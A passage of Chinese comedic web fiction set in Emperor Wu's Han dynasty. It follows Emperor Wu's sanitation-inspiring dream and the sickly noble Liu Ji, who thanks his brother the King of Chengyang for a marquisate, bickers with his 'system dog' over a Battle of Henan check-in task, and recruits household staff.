如今外儒内法之略,正如期茁壮。
琢磨过一番,确定过往为政,当无大错。
而他十数年的无子之忧,也在去年卫皇后为他诞下长子后,困局自解。
他已再无掣肘顾虑。
思绪流转,刘彻接着推敲起了未来政策:
推恩之制,须大力推行。祖宗未竟事业,当成于朕手。
打击郡国豪杰一事,亦不可松懈。
关东豪侠郭解一介匹夫,竟能让仲卿为他说情,言其家贫,不符迁徙条件,权盛至此。
将郡国豪杰及家财三百万以上者,迁徙于茂陵县一事,务必落于实处。
匈奴蛮夷,开年又入上谷、渔阳,杀掠吏民千余人。
先前遣了仲卿与李息出云中,击楼烦王、白羊王二部,目前捷报频传,战果可期。
匈奴也当持续抗击,以期汉匈间尽早攻守转换。
思量过来日政策,也无疏漏,刘彻才心中安稳,放任睡去。
刘彻发现,他做梦了。
以往也曾做梦无数,然无不朦胧、荒诞、虚幻。
也曾有过知晓自己是在做梦的时候,但都不似此时此刻。
这般梦境清晰、稳定,思绪清醒、耳清目明,竟像是清醒着一般。
刘彻惊异之际,白茫茫无边无际的一片混沌,忽生变化。
咵嚓!——
一声惊雷炸响,轰隆隆从四面八方而来!
侵入心脑,回响环绕。
梦境不同于清醒之处,就在于人的五感麻木,无知无觉。
但刘彻此时只觉心室猛地一颤,心悸之感真实地袭上心头!
醒耶?
梦耶?
刘彻心念电转。
然而不等悟透,就有言语似龙吟虎啸,从四面八方砸来——
【差评!必须差评!】
【市容市貌差评!
雨后则道中皆粪壤,泥溅三尺到腰腹。
日晴则风起尘扬,扑面眯眼,来人不识。
家户扫除废物,皆倾倒于门外,灶烬炉灰,陶碎草屑,堆积如山。
街边墙根,随处便溺,牛溲马勃,臭不可闻!①
不求街道宽洁如未央宫广场,那样太过靡费,大汉的钱粮力役也都有大用处。
但哪怕只是在城门街口各处,挖一个坑、上面搭两块石板呢?有公共旱厕供行人便溺也好啊!
再让行人收拾自家牛马牲畜的拉撒,杜绝里坊街道乱倒乱扔,治理屎尿横流之乱象,也不费多大事。
就算不为了收集的人畜粪尿,可以用作堆肥,提升耕地肥力,也要防止环境恶臭,滋生疮毒恶疾、触恶瘟疫啊!
共建卫生城市,共享健康生活。
——汉武猪猪帝,你到底知不知道啊!】
愤愤斥罢,四周八方重归寂静。
刘彻不及思索个中的玄奇,先已经被噼里啪啦雷鸣一样的字句,砸得脑海嗡嗡响!
汉武……猪猪帝?
正懵然之际,眼前混沌云海虚实闪烁,景象不稳。
之前应声而现,聚字成篇的翰墨字迹,也溃散消隐。
哗!——
“嗬!”
卧床之上,刘彻一个鲤鱼打挺,猛地坐起!
大梦终醒!
胸膛起伏,心如擂鼓。
“陛下?”值夜的近侍宦者听闻动静,在屏帷外轻声询问。
“退下!”刘彻喝退近侍,缓缓平复气息。
梦中言语,犹在耳畔回响,字字清晰。
完全不像以前一旦梦醒后,就如泡影消散了。
他刘彻不爱黄老学说,儒术在他眼中亦不过是治国之器。
他更信神怪,尤敬鬼神之祀。②
今夜遇见这等奇事,心间浮起的第一个念头就是:神仙梦中授天机 。
随即脑海里又一次浮现出半月前的奇景:瑞星入世,曳尾万彩,阔长如江河。
“或许,一切早有预兆。”
夜深人静时,刘彻低声喃语。
……
日月轮转,又是一天。
恰遇五日一逢的常朝。
但在朝议开始前,皇帝先召见了太卜令和太史令。
太卜掌三兆、三易、三梦之法,以卜筮蓍龟,助天子决诸疑,观国家之吉凶。
太史则掌天文历算。
群臣前列,御史大夫张敺上前半步,附于丞相薛泽耳侧:“御史中丞言,陛下夜召方士。”
御史大夫,职掌监察的副丞相,下属有两丞。
其一的御史中丞,乃帝王与外朝丞相的沟通传递桥梁,就驻在宫中的兰台阁。
薛泽垂衣拱手:“陛下,英明之君。”
一种废话文学。
百官静候了两刻钟,才被宣召入殿,集议诸事。
朝议全程无异常,直到临近尾声了,皇帝发出一道政令:
“以长安为始,整治里巷街道脏污之貌。
施行三月,试看成效,尔后取长补短,以成定制,施行于郡国。”
住在长安城中的重臣,比深居宫中的皇帝更能深刻体会街道脏污的痛苦。
整治里巷街道脏污乱象,是利己亦利民的良政。
“唯!”众臣齐声称唯,无人反对。
之后集议细节时,又拟出挖旱厕、清废物、划区倾倒、设巡污吏、严禁征敛等细则,即日试行长安城。
当日朝议散后,陆续有朝臣去找太卜令和太史令,隐晦打探:陛下为何迫不及待召见你二人?
得到的回答是:陛下夜半入梦,急令我二人解梦。
至于梦了什么,无可奉告,直到后来才逐渐被猜出来:
梦游九天,神授天机。
历史打了个喷嚏,大汉这棵长着‘内强皇权、外开疆土’两条主根的大树,又生出了一条名为‘民生’的幼根。
这条幼根若得滋养,来日强壮根深,或许也能长成助力,为大汉这棵大树输送养分。
……
刘吉的宅第呈‘田’字形布局。
四个‘口’的位置上,顺时针去看,西南是南院,西北为正院,东北是北院,东南为东厨。
因今日要随郎君入宫,东厨的陶盘拂晓早起。
按郎君病愈后的喜好,烧火煮了一锅扯得薄细的汤饼,捞入食盘,以滚油浇淋葱、蒜、椒,调味增香。
拿来漆画食案,放上食盘、竹箸和一爵清水,托着出了东厨,穿行于北院。
北院中高耸的望楼之下,拴着的狼灰听见动静,吠叫起来:“汪汪汪!”
陶盘要在没糊汤前将汤饼送到,脚下不敢停,嘴上安抚:“我忙着呢!等给郎君送完汤饼,回来就给你松绳。”
穿过门洞,就来到正院。
院内回廊环绕,中庭空空。
北边就是坐北朝南‘一堂二内’的
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堂室三间,下垒基座,旭日光辉照射之下,显得屋宇高大,整洁明亮。
脱履进入堂屋,陶杯已服侍郎君盥洗完毕,坐到了蒲席上等着用朝食。
郎君身躯清瘦,跪坐挺拔,如一株青松。笑容和煦,似屋外天上的春日旭阳。
刘吉看过来:“来了?时间刚好。”
“叫郎君久等。”陶盘碎步趋行,稳稳地呈上食案。
四脚矮足的食案,稳稳立在席上,其上的汤饼热气腾腾,静待主人起箸进食。
刘吉和善道:“我这儿不必服侍。你们下去吧,也煮一碗汤饼来吃。”
府中只主仆三人相伴度日,郎君素来待他们亲善,近日更不时让二人同食同饮。
“郎君……”二人欲推辞。
这如何使得?他们轮换着,下去扒两口剩豆饭就好。
“不必拒绝。”刘吉拿起筷子,打算趁热吃。“去吧。”
做这片儿汤的面粉,都是陶盘他们舂碾的,只要二人不觉得苦累,同吃又有何不可?
“喏!”“谢郎君赐食!”
陶盘和陶杯遵令谢过,赶紧趁空闲退下,去煮汤饼来吃。
不过二人煮出两碗汤饼后,到底没用滚油淋蒜、椒等调味增香。
香料珍贵,他们能吃上一碗热乎乎、原汤原味的汤饼,就极好了!
这时没有高精面粉,做的汤饼不如后世片儿汤口感细腻,入口还有麸皮的粗糙。
不过刘吉觉得还行,调味喷香,百邪不侵体让他肠胃也强悍不少,唏哩呼噜吃完了一整盘。
“汪。”被解开拴绳放出的系统狗,叫了一声打过招呼,就不再作声。
“早上好。”
刘吉在檐下走来走去,运动消食。
一人一狗,气氛难得和谐静谧。
一刻钟过去。
“今天进宫不方便带上你,乖乖自己在家。”
“汪。”
【知道了。】
【叮咚——】
【仆人陶杯、陶盘正在接近……】
轻柔叮咚,更换后的预警提示音响起。
“郎君等久了。”二人吃过汤饼,又换了一身干净衣裳。
“没有,时候刚刚好,走吧。”刘吉当先往外走,二人随后。
穿过中庭,跨过门厅,出了正院,来到南院。
院中的山石花草造景已被除去,石径分割出了东西两块菜地。
穿行石径,最后从南墙西边的大门出来。
今日天气放晴,泥土巷道的路面半干半湿。
刘吉驻足,等待半途从南院侧门先出去的陶杯,去马棚套了马车过来。
思及这一趟是谢恩之行,难免又想到他这座宅邸——
虽不至于是汉时庶人民宅的‘一堂二内’三间破泥草房,但放眼汉初,也不过一座寻常官绅宅院。
甚至是同类宅院的入门款户型,处于鄙视链底层,自带三分窘迫寒酸。
可它竟是城阳王弟的住所。
由此可见,他的王兄,对他们这些王弟也没过多慈爱同胞的恩义。
父死分家时,只中规中矩地尽了王兄之责。
不过嘛,在被推恩令惠及前,众多没有继承权的诸侯王子弟,也大都如此,倒不用愤愤不平。
没等多久,陶杯就驾马车过来了。
“唏律律!”
马儿叫声中气十足,刘吉因病深居简出,用车的时候少,无所事事的马儿被养得膘肥体壮。
其实若非刘吉病愈,又收礼小赚一笔,恐怕自立门户时得到的这匹王宫禁苑出身的马,就养不久了!
得卖掉换钱,以维持府中花销。
陶盘放好马凳,刘吉感慨地拍拍马脖子,踩凳上车。
“驾!”
马车轱辘辘,往城阳王宫驶去。
……
5. 入宫谢恩
马车驶到王宫门前,来访者需下车,等宫卫搜检通过了再步行进入。
刘吉刚下车就听见一道呼唤。
“三弟。”
循声望去,来者是一个相貌平平的中年男子。
“三弟。”男子走过来,打量着寒暄:“三弟看着好了不少。”
哦,是刘吉的二王兄刘豨啊。
一眼就可以看出他们是异母兄弟,不是他自恋,实在是对方与相貌清俊的他,长得毫不相干。
恰好一阵微风拂过。
“咳咳。”刘吉还没来得及开口,先迎风咳上一声。
“二兄。”刘吉坚忍地吞下咳意,折身拱手行礼。
“劳二兄惦念,弟惭愧。”
一张白雪似的脸皮,一段清瘦却坚韧的身段,真叫人不忍。
刘豨忙乱回礼:“哪里哪里!”
“二兄!三兄!”
二人刚见完礼,今日同行的另一个兄弟——老四刘壮也已赶到。
于是又一轮相互见礼、寒暄。
社交结束,宫卫也搜检完毕,有宫奴过来见礼后在前引路。
三人跟随入宫,随侍的仆人则候在宫外的马车上。
刘豨和刘壮边走边交谈,但不自觉就放缓步伐,照顾不像是能健步如飞的刘吉。
慢慢悠悠踱步的刘吉,则以观光游客的视角,赏看起这座城阳王宫来。
高台殿宇,屋脊短直,垒砖架木,灰瓦丹柱。
尽显汉代建筑的古拙粗犷,简单大气,均匀对称。
像是去影视城旅游时,参观过的仿古汉宫,还没有历史岁月赋予的那份厚重。
不过尔尔。
倒是传说中的未央宫,高踞西南瞰长安,山为基阙不假筑。
其雄伟豪华,诸宫无出其右。
真是期待亲至、亲见那一日啊。
“……三弟?”
刘吉回神,闪念回想身旁两人刚进行的话题,丝滑接话:“二兄所言甚是。”
并且还展开说了两句:“陛下令诸侯可以推恩,裂地分封吾等庶幼子弟,以有列侯之位。真乃广施仁德之举啊!”
一道推恩令,让他们这些原本没有继承权的诸侯王儿子们/弟弟们,在请封后也能从父亲或兄长那里分得一块土地,用以封侯。
“于吾等而言,陛下不啻再造之恩!”
歌功颂德嘛,一心二用也足矣。
刘豨、刘壮二人一愣,显然没想到刘吉说得是一套一套的。
他们只是因为封侯在即实在开心,边走边分享激动心情,见旁边的他走神,唤了一声而已。
但话都说到这里了,免不了附和赞颂。
临到开口却又只会:
“对对对!三弟说得对!”
“是极是极!三兄言之有理!”
刘吉保持微笑。
城阳王这届子弟,不行啊。
不过想想之前的他们,说得好听点,是没有继承权的诸侯王子弟。
说难听点,一介庶人。
没有接受过专门的、精良的教育,要求个个言之有物,也不现实。
刘吉突然又想到,诸侯王国的官吏是长安派任的,城阳王又响应政策、割肉分封……城阳王宫难保没有长安的耳目。
不,是一定会有。
于是,刘吉开始进一步歌功颂德,而且有理有据。
“今诸侯子弟或十数,唯有嫡长子可世代承继,余者虽骨肉,却无尺寸地以封。”
“诸侯诸王也有一颗爱子之心,叫他们于心何忍?”
诸侯的其余骨肉里,或许还有娇妾所生的爱子,却只能是一介庶人,可不得心疼死了?
推恩令正可解此忧愁。
“再者,仁孝之道,何以宣也?”
皇帝都以江山分封子弟了,尔等诸侯王天降馅饼吃进肚里了,却吝于分给子弟,这还怎么利于宣扬仁爱孝道?
“陛下及王兄之言行,更是广宣仁孝之德也!”
刘吉的一番话,部分参考了主父偃献推恩策时的论调,说的是大义凛然!
当然,真正戏肉的后半句:实分其国,不削而稍弱。就不必言明了。
正如先前所说,古人不是傻子——身边两位也只是庸人,城阳王则是大智若愚,只是没有反抗之力而已。
刘豨&刘壮:“是极是极!”
点头如捣蒜。
引路宫奴的步伐有一瞬乱速。
立即又恢复如常,每一步迈出都似是掐表量尺过一般。
刘吉:嘻嘻。
最后总结陈词:“如此人人喜得所愿,推恩之制,真可谓一项德政啊!”
此时正好到达了王宫正殿前的长阶下。
刘吉抬头仰望,像在升旗仪式上行注目礼。胸前的隐形红领巾,都快具现化了!
坚决拥护陛下的政策!
赤诚之姿,气势凛然。
就很正!
……
脱履入殿,趋步上前,行礼参拜。
“臣弟刘豨、刘吉、刘壮,拜见殿下!”
城阳王与刘吉三人虽为兄弟,更是君臣。
一套面君礼毕,城阳王刘延亲善地赐了座。
长幼有序,三人依次入席落座。
随后刘延与三人挨个寒暄一两句。
轮到刘吉时,垂问道:“三弟身体可大好了?”
刘吉的臀部落在支踵上,腰背挺直,跪坐得端庄又文雅。
眼下没有迎风咳上三咳,可放在膝上的一双手,却是手背筋络青紫,十指纤长瘦白。
平添一分体弱无害,先就卸了旁人三分心防。
“叫王兄挂念,臣弟惶恐。”刘吉低眉垂首,姿态恭顺。
“万幸得天庇佑,开春天暖,身体也好转起来。”
刘延笑容欣慰:“那就好。”
然后就去与刘壮寒暄了。
暂时没有刘吉的戏份,他又开始走神。
说起来,刘延都为三个弟弟割地、请封列侯了,但在长安的允准诏令下达之前,他们其实并不知情。
可见在推恩一事上,作为一方主角的三人反而无关紧要。
刘吉以感激濡慕的眼神作掩护,观察起对面的刘延。
典型的富态中年人面貌,浑身一股熟悉的…微逝微摆的气质——
已经预见结局,又无力扭转乾坤,还被推到人前,做了推恩令科目的模范生。
想要摆烂算球了,可为了性命着想,又不得不应付一二。
刘吉:就像有部分大学生,不求高绩点,却又不敢挂科,于是半死不活、半摆不摆地去挣一个及格分。
→他懂!
不过值得安慰的是,刘延的努力毕竟没有白费。
看看后来被造反的淮南王刘安,已经和即将坐‘禽兽行’的燕王刘定国、齐王刘次昌,都是直接身死、去爵除国,城阳国至少保住了国号。
——在推恩令取得大成效之前,汉武帝当然不会只是坐等,为
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内强皇权即加强中央集权,他还直接取缔了一些诸侯国。
“……拜谢王兄!王兄厚恩,令臣弟死后亦得覆封土,此生无憾也!”
在刘吉走神时寒暄流程已经走完,又直接进入了此行的正题——谢恩,老二刘豨这都谢完了。
刘延抬手,隔空扶了扶拜倒的老二,“客气了。”
敷衍的味儿,实在明显。
刘吉腹诽老二:可不兴你这样咒自己个儿短命的嗷!
笑死!他们这些个被分封的列侯,除非在‘酎金案’前的十五年内无罪早死,否则死时几乎都是一介庶人。
死后享列侯规制的封土坟丘?快别妄想了。
刘吉想到身边的四弟刘壮,史料有载是三年后过世的,谥号‘节’。
他倒是应该享受到了列侯封土的。
腹诽也不耽搁刘吉丝滑接话:“陛下大施恩德,广宣仁孝之道,于是行推恩之制。”
“王兄循途守辙,以地分吾等幼弟,为天下诸侯者先,堪称忠孝仁义俱备也!”
帮刘延树立忠君的大义形象,叫汉武帝念他的好、不削他,才是谢到了他的心趴上。
果然,刘延看向刘吉的目光都亮了三分,笑容中多了几分真实。
“臣弟今日见王兄大德,如见青山巍峨,唯思齐焉。臣弟在此谢王兄授道之恩!”
刘吉俯身拜下,额触手背。
他谢恩,谢的不仅是为他请封列侯之恩,他更谢的是,教他为人应当忠孝仁义的授道大恩!
官腔官调的程度,简直快到羞耻致死量了,但它就是有用啊!
“哈哈哈!”刘延捬掌大笑,倾身虚扶叫起:“三弟快快起来!”
“三弟有此感悟,为兄倍感欣慰!”
刘延丝滑地接了一套‘感佩万分、隔空奉承’:“这也多亏陛下垂范在先,吾等才得效仿一二啊!”
刘豨和刘壮俩慢了一拍,虽仍茫然,但本能附和:“是极是极!陛下仁德……”
殿中一片歌颂陛下仁德之声,明明并无外臣在场,却像是说给他人听一样。
刘吉:嘻嘻。
……
或许是被弟弟谢得高兴了,原本只打算敷衍走个过场的刘延,临了又多出两分真心。
对此前不曾设想过会封侯的三人,多提点了两句。
“大汉封国,有王国与侯国。城阳国即为王国,待你们分封列侯后的封国,便是侯国。”
“先皇有令:诸侯王不得复治国,天子为之置吏。再者侯国所辖之县,别属汉郡。”
“因此日后侯国中的治民政务琐事,你们不必操心。”
“待你们封侯后,自会有以侯令或侯长为首,侯丞、侯尉为佐贰官,以及秩禄两百石以上的一班官员,随诏赴任。”
刘吉面上侧耳恭听,心里则在中译中,翻译刘延的言下之意。
现在的诸侯国,可不是当初割据一地的土皇帝了。
大人,时代不同了!
一个侯国大致相当于一个县,受某一个郡管辖。
而相当于县令/县长、县丞、县尉的侯令/侯长、侯丞与侯尉,及俸禄两百石以上的行政官员,都直接由长安天子派任。
刘延还在继续往下说着:“另外,官有秩、乡有秩、令吏等百石佐吏,则由所属郡调配。”
就连官府、乡里的俸禄满百石的有编制的小吏,都由所属郡调任。
这真是但凡有点儿权的官吏的任免,都没给列侯染指的可能啊!
6. 签到准备
说完治民的行政官吏,刘延又说到另外一方面:
“另有负责侍奉并掌理家事的一干家吏,为首的家丞,亦有天子派任。”
“仆、门大夫和行人等,亦由所属郡调配。”
一个侯国的运行,需要两套系统:以侯令/长为核心的行政系统,以家丞为核心的家吏系统,前者主外、后者主内。
家丞,约等于侯府的管家。就连管家都是长安天子派任,稍有点权力的下人,也是所属郡府调配。
相当于是侯国内外,在制度设计上,都已被长安和汉郡把持了。
而且,显而易见的是,那些长安和郡中派任的官吏,除了处理日常政务琐事外,还负有监视诸侯的职责。
不难想象,他们为了加官晋升,还会格外讨好长安,严苛对待诸侯。
刘吉(嘟嘟囔囔):汉武dady,你管得是真严啊。
刘延:“洗马、中庶子此类斗食小吏,你们方有权自行调补。”
也就是说,如果刘吉想提拔心腹陶盘和陶杯,家丞之位是想都别想。仆、门大夫、行人这类郡中调配的高级家吏,轻易也不能任免。
能名正言顺给的,也就是一个下等小吏之位。
当然对于二人而言,如果能从卑微的奴仆,一跃成为侍奉列侯的洗马、中庶子,也不异于一步登天了。
刘豨和刘壮二人越听神色越难看,已经和入宫时喜不自胜的样子大不相同。
刘吉能理解。
想象中的列侯:在侯国内称王称霸的一国之主!
事实上的列侯:被圈养看管的(养肥就宰的)猪崽。
理想与现实的差距太大了!
或许对城阳国这样的王国来说,虽然受到一样的约束监督,却不至于穷途末路。
所谓百足之虫死而不僵,分封势力毕竟已延续数百近千年。
但他们这些新分封的侯国小卡拉米,可就真是翻不了身,激不起水花了。
刘壮都红温了:“如此束手束脚,想厚待追随的忠仆都不能!这列侯做着有什么劲!”
于刘豨和刘壮二人而言,身为一(侯)国之主却如此束手束脚,难免悲愤怨望。
但对刘吉来说,咸鱼躺摆的思想,又很好地中和了这一点。
或者说,他竟从未见过世上有如此好事!
上班不做事,高薪照领!
老板还雇人服侍他,负责他的内务琐事。
醒掌天下权,醉卧美人膝,男女皆有重权欲者。
但也都有咸鱼躺摆、微咸微摆的人,刘吉就属于此列。
“四弟慎言。”刘吉提醒道。
又往下解释,言辞分外谦卑:“吾等本是一无所有的庶人之身,有赖陛下德政仁爱,王兄慷慨厚义,方才有望列侯之尊、食邑之足。”
并非觉得他们身为所谓的庶幼子弟,就生来比嫡长子卑贱,以至于分封一个列侯,都自轻自贱、自觉不配得。
他可不是嫡嫡道道的人。
这都是场面话,官样辞令而已。
刘吉娓娓而谈:“侯国政务、侯府内事,皆牵系着侯国万千国民生计,绝不敢轻慢疏忽。”
“我等才疏学浅,难以担此重任,幸而有陛下及郡中派任贤良廉吏,襄助治民。岂不是利国利民又利己的解难之举?”
不管心底作何想法,摆在台面上的只能是刘吉这样冠冕堂皇的一套说辞。
“三弟一番话,才是忠孝仁义之言。”
刘延一直挂着的慈善笑容一敛,目光在刘豨和刘壮二人身上扫过。
城阳王的威严展露,警告训诫之意尽显。
其实也很难说刘延之前的一番提点,除了友爱兄弟外,有没有对他们的警告之意。
还真以为分封列侯,是为了让他们富贵恣意,在侯国内作威作福呢?
刘豨和刘壮领会到刘延的警告,当即忙道:“是极是极!”
“王兄和三兄说得对!”
他们现在相当于是手持一张中奖彩票,都还没兑奖到账呢,哪来的不可一世的威风呢?
怂得快极了。
刘延严肃了神情:“三弟不需多说,你从来懂事。二弟和四弟,你们尤其谨记:谨言慎行。”
“喏!谨记王兄教诲!”
谢完恩,提点训诫过,刘延也没留饭的意思。
又闲话几句,刘吉就识相地带头告退了。
……
在宫人的引路下,三人往宫外走去。
只是来时迁就刘吉速度的刘豨和刘壮,此时昂首阔步地走在前面,把他远远甩在身后。
刘吉先是情态焦急地想要跟上脚步。
在发现兄弟二人真的无情地抛弃了他后,怔怔地慢下来,吐息微喘,神情落寞。
唉——
他是个一年躺四季的病秧子,素日和兄弟来往不多,兄弟们不愿同他玩也正常。
唉——
他平日深居简出,不像健康的兄弟们有许多玩耍排解的乐子,独处就难免多思,所以他才显得言行处处妥帖,却叫兄弟们像是被他了比下去。
实非他所愿啊。
“咳咳咳……”
一阵风过,后面传来几声压抑的咳嗽。
“咳咳咳……”
兄弟俩看似大步无情在前走,实则不时侧头瞄一眼身后,听着咳嗽声,眼前就似乎浮现出一道单薄的身影。
心里也越来越毛躁。
“四弟,你走那么快做什么!”刘豨转头责怪与他并肩而行的四弟。
“啊哈?”刘壮觉得他二兄莫名其妙。
但也是现成的借口,就没辩驳:“那慢些走罢。”
于是磨磨蹭蹭地挪脚,等刘吉赶了上来,才三人一道往外走去。
刘吉笑颜如春风:“劳烦二兄和四弟迁就。”
“谁迁就你了。”
“三兄客气了。”
爱嫉妒的傲娇中年男人哦。
走出王宫,陶盘和陶杯已经驾马车候着了。
别过刘豨和刘壮,刚上车坐稳,刘吉脑内就响起系统提示音:
【请准备签到:[历史事件-河南之战·收复河南地]!】
【签到预览:元朔二年(公元前127年),匈奴入上谷、渔阳,杀掠吏民千余人。汉武帝遣车骑将军卫青、李息出云中,至高阙,遂西至符离,破白羊王、楼烦王二部,获首级俘虏数千级。收河南地——黄河之南河套地区一带。
此役后,汉武帝听从中大夫主父偃建议,置朔方、五原郡。修筑朔方城,招募十万内地百姓徙至朔方实边。
既巩固了边防,又使匈奴失去袭扰的前进基地,在很大程度上解除了匈奴对关中地区的直接威胁。】
【倒计时:四十五日。】
头有篷盖、四壁无遮的马车,行驶在城阳国都的街上。
马车里,刘吉一身庄重的玄色曲裾深衣,因尚未正式封侯,只头戴一梁进贤冠。
身姿跪坐得端庄文雅,衬上一副清隽柔和的五官眉眼,叫人直道:好一个端雅君子!
莒城行人纷纷侧目,窃窃私语,其中不乏儒士学子。
“这是哪家郎君?以前没见过呢。”
“听说是三王弟吉,就是昨日诏令中将要封侯的其中一位!”
“竟是如此人物!与另两位王弟大不相同。”
刘吉:兄弟们不好意思,又拉踩了一把。
【摆得一副‘城阳第一公子’的架势,嘁!】刚播完任务提示,系统就忍不住吐槽。
【论长相,你也就小帅。】
系统狗没有随从在侧,竟也能无障碍沟通。
【可听说过氛围感帅哥?】刘吉浑不在意系统的奚落。
解释起了他返程途中孔雀开屏的原因:【酒香也怕巷子深,我封侯之后班子的组建,可还缺大把人手呢。得趁机多打打广告,才能吸引更多人才来投。】
系统疑惑:【你不是不打算反对推恩令和中央集权?侯国的行政系统和家吏系统,都有长安和所属郡呢,你操心什么?】
刘吉先回答了系统后面一个问题:【那不是还有家吏中的‘斗食小吏’吗?算上陶杯和陶盘两个,也还有十二个编制空缺呢。】
刘吉姿态端庄,神情温和,望之令人亲近。
与行人对视上时,便礼貌地回以一个浅浅笑容,
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权作招呼。
脑内则回答着系统的前一个问题:【我当然不会反对推恩令,而且我就是获益方啊。我也不打算阻碍大汉中央集权。
但谁说,我就不能为自己着想了?】
【就算坐等元鼎五年的‘酎金案’,被一起去爵除国,我也还有十五年时间好活呢!
十五年的周期,放到投资领域,也足以做一次长期投资了。在此期间,我不得好好经营生活啊?】
【我不得为了去爵除国后的余生做打算啊?】
【你还真以为,在这期间,我会完全受侯令长和家丞为首的两套系统的操控?做一个无知无觉的傀儡,一点自我利益都不争取呢?】
该是他的封国赋税钱财,他要一分不少都拿到手!
毕竟咸鱼躺摆的生活里,躺得舒服的前提,可是财务自由啊。
【我不逆历史大势,不代表在此期间内,我就要对不良制度和蠹虫造成的不公与压榨,逆来顺受、不予争取。】
系统的逻辑跑通了:【懂了懂了。】
刘吉跪坐在摇摇马车里,笑容仪态完美。
卖力表现之下,一路回头率直逼百分之五十!
事实上:【哎哟哟腿麻了腰酸了嘴僵了!】
系统:Strong的代价。
【……】系统把话题拉回正事:【历史事件-河南之战的签到提醒你听见了,是怎么计划的?】
刘吉理直气壮:【毫无头绪!以我这战斗素质,难以亲赴河南之战的战场,亲手砍杀几个匈奴人。
甚至在眼下关头,我都不能无故出城阳国。】
河南之战,发生在河南地的战役。
河南地,在秦汉时期是指黄河‘几’字弯内侧的大部区域——河套地区,可不是那个河南地界。
远在北地,可远着呢。
【直接签到不行,间接签到也难,如果送粮草、送兵器支援战场,我又一穷二白,没那家底实力。】
【真是毫无办法呢。】刘吉轻飘飘开摆。
系统只觉果然!
【第一次签到时我就说过,不是每次签到都这样容易的。】
系统已经摆开架势,打算与刘吉磨嘴皮子了。
【要不狼灰你去签到吧!】
但是,刘吉开口就转移他肩上的担子,【反正你一只狗,跑到战场上也不引人注意。】
【打消你的妄想!】系统也直接堵嘴。
【我们能远距离联系,但仅限同一郡内,出郡就断联。】
刘吉得到了答案:【原来如此。】
难怪这会没有面对面,也能意识沟通呢。
【那就真没办法了。】不等系统多劝,刘吉又直接开摆。
【只能放弃签到这个历史事件了。】
【月石奖励虽然诱人,但不稀缺,我也不急用,慢慢攒罢。】
一听刘吉直接放弃签到,系统再顾不上逻辑运算,整个统急了!
【怎么可以放弃!】
【汉武帝时期对匈奴的作战,分为前后两个时期,以前期的五次战役最为重要,对整个汉匈战事具有决定性的影响!
而作为前期开局的河南之战,尤其意义不同!】
【它是汉匈战争史上一个重要转折点,河南地的收复,得以让西汉王朝的北部边防线北推至黄河沿岸!
此役之后,汉武帝接受主父偃的建言,在河南地置五原郡与朔方郡,修筑朔方城,并招募迁徙十万中原百姓,充实边境。
至此昔日匈奴袭向汉王朝后背的利刃,一朝变为汉军刺向匈奴前胸的长戟!①】
【这样重要的历史事件,怎么能不签到啊啊啊!!】
刘吉脑内的小人两手一摊,表示无能为力:【诏书已下,我必须等着封侯呢,无故不能离开城阳国的。】
【我又没有丰厚的家底,无法支援战场。】
【实在是没办法签到啊。】
事在人为。
若真竭力去做,自然不会毫无办法。
但刘吉选择不卷自己,去卷系统狗。
顺便看看能不能薅到狗毛。
反正有毛没毛,先薅一把看看。
7. 薅狗毛了
“……郎君封侯之日,鲁直定然来贺。”
鲁直,字伯敬,是齐鲁之地的儒生。
颇有其先贤‘以理服人’的风仪。
文能识文断字,看懂文书图籍。
武也能拔剑开道,践行礼仪之梆梆梆!
刘吉与前来投效的鲁直聊过两刻钟,确定为人处事、性格三观大体相合,又招待了一顿酒菜。
最终发出一份‘东莞侯洗马’的offer。
“某亦虚位以待,静候伯敬为侯洗马之日。”
刘吉礼贤下士,亲自把鲁直送出院门,又吩咐并目送陶杯送人离开。
某侯洗马——例如东莞侯洗马,这官职听着或许陌生,但说太子洗马,是不是就熟悉多了?
太子洗马的职责是:太子出,则当直者在前导威仪。列侯洗马的职责也略同,即列侯出行时在前‘导威仪’。
听上去高大上。
质朴地说,列侯的随从。
过去这五天里,鲁直是第三个通过面试的洗马候选者。
这前脚刚送走一个鲁直鲁伯敬,后脚又迎来一个颜枢,字仲枢的。
见面即开门见山:“颜枢意之所向,乃是郎君封侯后的中庶子……”
刘吉:哦,面试中庶子一职的。
庶子,家丞的助手。甘罗就曾为吕不韦的庶子——官职名,不是当人儿子去了嗷!
不过到了现在,侯国官制里已少有庶子,而多有中庶子了。
中庶子的地位也变得低微,秩禄百石之下。
职如侍中,掌车马服物,侍于列侯左右,为列侯亲信宠臣。
同样,听着佶屈聱牙。
说直白点,列侯的小厮。
“……某若封侯,定翘首以盼仲枢为侯中庶子,替某分忧解难。”
最终,刘吉向颜枢发出一份‘东莞侯中庶子’的offer。
五天里,颜枢则是第五个通过面试的中庶子候选者。
虽说洗马是随从、中庶子是小厮,那也是坐拥封国的列侯家的随从和小厮。
虽然晋升通道狭窄,不如家丞、仆和行人一类高级家吏前程可期。
可是齐鲁地界儒生众多,不是自诩大才、非长安不仕者,也不在少数。
寻常儒生能奔一个列侯家的编制,已是不错的前程。
“两个职位共十四个编制,算上陶杯和陶盘,那就……还剩有四个空缺。”
刘吉把颜枢送出院门后,盘算起了他的招聘需求。
剩余空缺就不用急于一时了,慢慢招募也来得及。
“汪汪汪!”系统狗跟在刘吉腿边,咚咚地跳脚,很急很暴躁!
【招招招招!一天天的,就知道招聘面试!发offer!】
【面试数十人,发出八份offer,没见一个够格签到的历史名人,要来有什么用!】
刘吉蹲身,与系统狗对视。
手掌罩住狗头揉揉毛,手指拨拨耳尖,看上去是在与狗狗玩耍。
实则脑内正经反驳:【话可不能这么说。】
【一个安分守己、并无二心的列侯,他家的低级家吏,会认会写会说话,身高体壮胆不怂,可以胜任岗位、维持侯府顺畅运转,足矣!】
【难道还得要求对方智绝当代、英武盖世?那不纯纯浪费嘛。】
“汪!”系统狗出嘴哐当一口!
刘吉急速撤回一只手。
嘿,没咬着。
但可见系统狗的狂躁了。
【你但凡能把招聘的热切积极,分一半在想法准备签到上呢!】
也不至于毫无进展!
急急急!吉吉国王都没刘吉这么急着招聘班子成员!
刘吉改撸狗头为撸狗背,一下一下帮它顺气。
嗯,怎么不急呢?
顺利的话,下次回来大概就要就封东莞侯国了。
如果到时无人可用,可不就要坐蜡了。
“汪汪汪!”
【机械狗不会岔气,也不需要你顺气!】
系统狗一个甩水式,嫌弃地甩开刘吉手掌!
五天了!整整五天毫无进展了!
路过的陶杯(欣慰微笑):郎君和狼灰玩的真好。
刘吉用上无奈的语气,熟练解释:【狼灰,我实在是无计可施啊。】
【我一不能无故离开城阳国,前往战场直接签到。】
不能无故离开=可以有正当理由离开
